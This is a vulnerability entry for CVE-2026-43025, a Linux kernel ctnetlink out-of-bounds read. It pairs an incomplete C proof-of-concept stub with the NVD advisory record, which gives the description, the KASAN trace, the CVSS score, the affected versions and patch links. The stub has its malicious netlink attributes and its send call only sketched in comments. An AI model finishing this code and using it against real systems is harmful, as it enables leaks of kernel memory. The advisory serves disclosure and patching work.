CVE-2026-43025

/* * PoC for CVE-2026-43025 * This PoC demonstrates the concept of triggering the out-of-bounds read * by sending a netlink message with a mismatched helper. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 14 struct nlmsghdr *nlh; struct sockaddr_nl src_addr, dest_addr; int sock_fd; void trigger_vulnerability() { // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("Socket creation failed"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message buffer int msg_size = 4096; char *buffer = malloc(msg_size); memset(buffer, 0, msg_size); nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_SPACE(msg_size); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; nlh->nlmsg_type = 0; // NFNL_SUBSYS_CTNETLINK << 8 | IPCTNL_MSG_EXP_NEW; // Construct nested attributes for CTA_EXPECT // Malicious payload: Set CTA_EXPECT_HELP_NAME to a helper // that differs from the master conntrack to trigger the bug. // Note: Actual attribute construction requires libnetfilter_conntrack // or manual byte manipulation. // sendmsg(sock_fd, ...) printf("Sending malformed netlink message to trigger OOB read...\n"); // sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); close(sock_fd); free(buffer); } int main() { trigger_vulnerability(); return 0; }

{"cve": {"id": "CVE-2026-43025", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:46.903", "lastModified": "2026-05-08T18:17:47.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ctnetlink: ignore explicit helper on new expectations\n\nUse the existing master conntrack helper, anything else is not really\nsupported and it just makes validation more complicated, so just ignore\nwhat helper userspace suggests for this expectation.\n\nThis was uncovered when validating CTA_EXPECT_CLASS via different helper\nprovided by userspace than the existing master conntrack helper:\n\n BUG: KASAN: slab-out-of-bounds in nf_ct_expect_related_report+0x2479/0x27c0\n Read of size 4 at addr ffff8880043fe408 by task poc/102\n Call Trace:\n nf_ct_expect_related_report+0x2479/0x27c0\n ctnetlink_create_expect+0x22b/0x3b0\n ctnetlink_new_expect+0x4bd/0x5c0\n nfnetlink_rcv_msg+0x67a/0x950\n netlink_rcv_skb+0x120/0x350\n\nAllowing to read kernel memory bytes off the expectation boundary.\n\nCTA_EXPECT_HELP_NAME is still used to offer the helper name to userspace\nvia netlink dump."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.12", "versionEndExcluding": "6.1.168", "matchCriteriaId": "93B17365-627A-4057-98B3-E415D18B5F06"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0f6c33697ccfac6499d0b7a4dbdec5d3a3a566cd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/187b6ec5229ea93cb04c4f6d3b52efc80f513d0d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21a04c31db4057deec85fcd6cc63d720b38819c3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2ea0f35f235f70c133ad61fe05ba013753b978c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/917b61fa2042f11e2af4c428e43f08199586633a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e135f8e8212cbed12a03ab8dec77fa1247139897", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}